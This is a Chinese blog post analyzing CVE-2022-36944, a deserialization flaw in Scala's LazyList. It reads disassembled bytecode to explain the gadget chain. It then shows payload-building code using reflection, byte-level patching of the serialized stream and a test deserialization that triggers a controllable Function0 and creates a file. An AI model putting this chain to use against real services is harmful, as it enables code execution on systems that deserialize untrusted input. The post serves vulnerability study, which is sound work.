前言

无。


漏洞描述

漏洞通告说明这是一个由LazyList类导致的反序列化漏洞,整条反序列化链从一个代理类开始,同时Github上也有这个漏洞的公开POC,学习起来就更简单了。

那么开始学习。

环境搭建

有个Scala依赖就行了:

<dependency>
    <groupId>org.scala-lang</groupId>
    <artifactId>scala-library</artifactId>
    <version>2.13.8</version>
</dependency>

漏洞分析

反编译错误

用IDEA打开LazyList类,发现反编译出问题了,比如序列化相关的writeReplace函数:

public java.lang.Object writeReplace() { /* compiled code */ }

反编译失败,看起来IDEA的反编译工具不太能理解Scala构建的字节码。

没代码学习个锤子,总不能空想吧。那么接下来就有两个法子,比较王道的应该就是像参考文章那样从Scala代码看起,再回到Java。

但我比较懒,虽然IDEA反编译失败了,但为了在JVM执行,字节码肯定还是正确的,所以我可以直接看Java字节码来捋一捋代码思路。

生啃字节码

首先在IDEA中看一下LazyList构造,这是一个Serializable类,但是由于LazyList中不存在readObject等反序列化起始函数,因此需要在外面嵌套一个SerializationProxy类。根据漏洞描述,漏洞产生原因就是其成员lazyState作为一个匿名函数的Function0类被调用,从而导致了一个范围比较有限的任意匿名函数调用漏洞。

payload生成

参考Github上的poc,主要就是SerializationProxy嵌套LazyList,再加上反射修改几个成员:

Object lazyList = Utils.newInstance("scala.collection.immutable.LazyList",
        new Class[] {Function0.class}, payload);
Object emptyLazyListState = Utils.getStaticValue("scala.collection.immutable.LazyList$State$Empty$", "MODULE$");
Utils.setField(lazyList, "scala$collection$immutable$LazyList$$state", emptyLazyListState);
Utils.setField(lazyList, "scala$collection$immutable$LazyList$$stateEvaluated", true);
Utils.setField(lazyList, "bitmap$0", true);
Object serializationProxy = Utils.newInstance("scala.collection.immutable.LazyList$SerializationProxy",
        lazyList);

三个成员state、stateEvaluated和bitmap各有用处,后续阅读字节码时再做分析。

SerializationProxy序列化

然后我使用的是jclasslib这个工具来观摩字节码,首先看代理类SerializationProxy,该类也是一个Serializable类,且存在一个LazyList类型的成员:

private transient scala.collection.immutable.LazyList<A> coll;

该成员在构造函数中被赋值:

public SerializationProxy(scala.collection.immutable.LazyList<A> coll) { /* compiled code */ }

反编译失败,该函数的字节码如下:

0 aload_0
1 aload_1
2 putfield #31 <scala/collection/immutable/LazyList$SerializationProxy.coll : Lscala/collection/immutable/LazyList;>
5 aload_0
6 invokespecial #114 <java/lang/Object.<init> : ()V>
9 return

简单来说就是一行代码,将参数即用于完成反序列化漏洞的LazyList对象存放到自身的成员coll中:

public SerializationProxy(scala.collection.immutable.LazyList<A> coll) { this.coll = coll; }

但是该coll成员是一个transient成员,因此猜测在序列化时对其进行了特殊的序列化操作,看看它的writeObject函数字节码:

 0 aload_1
 1 invokevirtual #46 <java/io/ObjectOutputStream.defaultWriteObject : ()V>
 4 aload_0
 5 invokevirtual #48 <scala/collection/immutable/LazyList$SerializationProxy.coll : ()Lscala/collection/immutable/LazyList;>
 8 astore_2
 9 aload_2
10 ifnonnull 15 (+5)
...
15 aload_2
16 getfield #52 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$stateEvaluated : Z>
19 ifeq 44 (+25)
22 aload_2
23 invokevirtual #56 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : ()Lscala/collection/immutable/LazyList$State;>
26 getstatic #60 <scala/collection/immutable/LazyList$State$Empty$.MODULE$ : Lscala/collection/immutable/LazyList$State$Empty$;>
29 if_acmpne 36 (+7)
32 iconst_1
33 goto 37 (+4)
...
37 ifne 44 (+7)
...
44 iconst_0
45 ifeq 64 (+19)
...
64 aload_1
65 getstatic #75 <scala/collection/generic/SerializeEnd$.MODULE$ : Lscala/collection/generic/SerializeEnd$;>
68 invokevirtual #67 <java/io/ObjectOutputStream.writeObject : (Ljava/lang/Object;)V>
71 aload_1
72 aload_2
73 invokevirtual #67 <java/io/ObjectOutputStream.writeObject : (Ljava/lang/Object;)V>
76 return

由于代码中涉及到if等程序控制,整体字节码看起来相当复杂,因此这里根据payload构造方式,删去了一些由于成员判断语句(如ifeq)而被跳过(如ifeq、goto)的无效字节码。

第一段代码调用defaultWriteObject写入了常规成员,然后调用自身的coll函数,coll函数字节码如下:

0 aload_0
1 getfield #31 <scala/collection/immutable/LazyList$SerializationProxy.coll : Lscala/collection/immutable/LazyList;>
4 areturn

获取自身成员并将结果返回,即:

public scala.collection.immutable.LazyList<A> coll() { return this.coll; }

整段代码大致上就可以理解为:

out.defaultWriteObject();
LazyList<A> coll = this.coll;
if (coll != null) {
    第二段代码
}

再保存到索引变量表下标为2的地方,当结果不为null时,跳转到标号为15的代码行,即第二段字节码,首先判断stateEvaluated成员的值,当其不为false时继续执行,再判断state成员是否与一个空state相等,当其相等时继续执行,当其不等时则会调用LazyList的head函数对其内部元素进行循环序列化,阅读字节码发现其是通过执行匿名函数成员lazyState获得的,环境中不好找到符合条件的Function,所以直接使用empty state是最方便的。

最后来到第三段字节码,调用writeObject开始序列化关键的LazyList对象。

LazyList序列化

只有一个writeReplace函数:

 0 aload_0
 1 getfield #438 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$stateEvaluated : Z>
 4 ifeq 29 (+25)
 7 aload_0
 8 invokevirtual #468 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : ()Lscala/collection/immutable/LazyList$State;>
11 getstatic #471 <scala/collection/immutable/LazyList$State$Empty$.MODULE$ : Lscala/collection/immutable/LazyList$State$Empty$;>
14 if_acmpne 21 (+7)
17 iconst_1
18 goto 22 (+4)
21 iconst_0
22 ifne 29 (+7)
25 iconst_1
26 goto 30 (+4)
29 iconst_0
30 ifeq 42 (+12)
33 new #43 <scala/collection/immutable/LazyList$SerializationProxy>
36 dup
37 aload_0
38 invokespecial #519 <scala/collection/immutable/LazyList$SerializationProxy.<init> : (Lscala/collection/immutable/LazyList;)V>
41 areturn
42 aload_0
43 areturn

可以看到,由于state成员是否与一个空state相等,LazyList就会跳过后面的创造SerializationProxy代理环境直接将自身序列化,这里面或许会存在死循环问题,但是不好找到合适的state对象来测试,只是个猜测。

SerializationProxy反序列化

SerializationProxy类的readObject函数,LazyList没有readObject等函数,因此会在ObjectInputStream.defaultReadObject函数调用时被正常反序列化,后续关键字节码处理如下:

53 invokevirtual #92 <java/io/ObjectInputStream.readObject : ()Ljava/lang/Object;>
56 checkcast #10 <scala/collection/immutable/LazyList>
59 astore 5
...
69 aload 5
71 aload_2
72 invokevirtual #106 <scala/collection/immutable/LazyList.prependedAll : (Lscala/collection/IterableOnce;)Lscala/collection/immutable/LazyList;>
75 invokevirtual #108 <scala/collection/immutable/LazyList$SerializationProxy.coll_$eq : (Lscala/collection/immutable/LazyList;)V>

从字节流中反序列化出LazyList对象,然后调用其prependedAll函数,该函数第一段字节码如下:

 0 aload_0
 1 getfield #438 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$stateEvaluated : Z>
 4 ifeq 29 (+25)
 7 aload_0
 8 invokevirtual #468 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : ()Lscala/collection/immutable/LazyList$State;>

如果stateEvaluated为false,则会直接跳转到标号为29的字节码处,就会跳过关键的state函数调用,该函数调用的字节码如下:

 0 aload_0
 1 getfield #442 <scala/collection/immutable/LazyList.bitmap$0 : Z>
 4 ifne 12 (+8)
 7 aload_0
 8 invokespecial #462 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state$lzycompute : ()Lscala/collection/immutable/LazyList$State;>
11 areturn
12 aload_0
13 getfield #457 <scala/collection/immutable/LazyList.scala$collection$immutable$LazyList$$state : Lscala/collection/immutable/LazyList$State;>
16 areturn

可以看到,如果bitmap为true,就会直接跳转到标号为12的字节码处,同样会跳过关键的的lzycompute函数,因此为了让反序列化漏洞利用流程正常进行,用于反序列化的LazyList对象需要修改一个值为false的bitmap成员,但是过早修改会导致lazyState这个Function被过早触发,然后由于类型转换为state失败导致序列化异常。

lzycompute函数的字节码如下:

 0 aload_0
 1 monitorenter
 2 aload_0
 3 getfield #442 <scala/collection/immutable/LazyList.bitmap$0 : Z>
 6 ifne 81 (+75)
 9 aload_0
10 aload_0
11 getfield #444 <scala/collection/immutable/LazyList.midEvaluation : Z>
14 ifeq 28 (+14)
17 new #446 <java/lang/RuntimeException>
20 dup
21 ldc_w #448 <self-referential LazyList or a derivation thereof has no more elements>
24 invokespecial #451 <java/lang/RuntimeException.<init> : (Ljava/lang/String;)V>
27 athrow
28 aload_0
29 iconst_1
30 putfield #444 <scala/collection/immutable/LazyList.midEvaluation : Z>
33 aload_0
34 getfield #453 <scala/collection/immutable/LazyList.lazyState : Lscala/Function0;>
37 invokeinterface #455 <scala/Function0.apply : ()Ljava/lang/Object;> count 1
42 checkcast #49 <scala/collection/immutable/LazyList$State>

可以看到,如果bitmap为true,就会直接跳转到标号为81的字节码处,还是会跳过关键的Function0.apply执行lazyState。此外,还有一个条件则是midEvaluation成员为false,不然会抛出Runtime异常。

这些条件都满足后,就可以通过invokeinterface字节码调用Function0.apply函数,即执行可控匿名函数成员lazyState。

漏洞利用

关键点在于在恰当时机修改bitmap成员,poc的做法是通过javassist重写LazyList类的writeObject函数,让其修改bitmap成员,但在我Java8环境中,由于该过程中会调用Class.getModule函数,而该函数要求环境为Java9,因此无法正常使用。

第二种办法是使用Agent直接修改字节码,或者尝试手写序列化字节流,但是毕竟要修改的只有小小的一个布尔值,所以我选择直接修改序列化后的字节流,先保存一下序列化字节流:

byte[] bytes = Utils.serialize(serializationProxy);
FileOutputStream fos = new FileOutputStream("exploit.ser");
fos.write(bytes);
fos.close();

然后用SerializationDumper读取,找到bitmap成员对应的布尔值位置:

newHandle 0x00 7e 00 0a
  classdata
    scala.collection.immutable.LazyList
      values
        bitmap$0
          (boolean)true - 0x01
        midEvaluation
          (boolean)false - 0x00
        scala$collection$immutable$LazyList$$stateEvaluated
          (boolean)true - 0x01

然后用WinHex打开直接修改,最后回到IDEA中测试反序列化:

FileInputStream f = new FileInputStream("exploit.ser");
ObjectInputStream ois = new ObjectInputStream(f) {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
            ClassNotFoundException {
        System.out.println("反序列化类:" + desc.getName());
        return super.resolveClass(desc);
    }
};
obj = ois.readObject();

可以看到类型转换异常:

java.lang.ClassCastException: java.io.FileOutputStream cannot be cast to scala.collection.immutable.LazyList$State

同时文件创建成功,想要实现其他利用效果,可以使用ASM框架读取字节码找到所有的匿名函数类Function来分析。


参考

基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞
Spring反序列化漏洞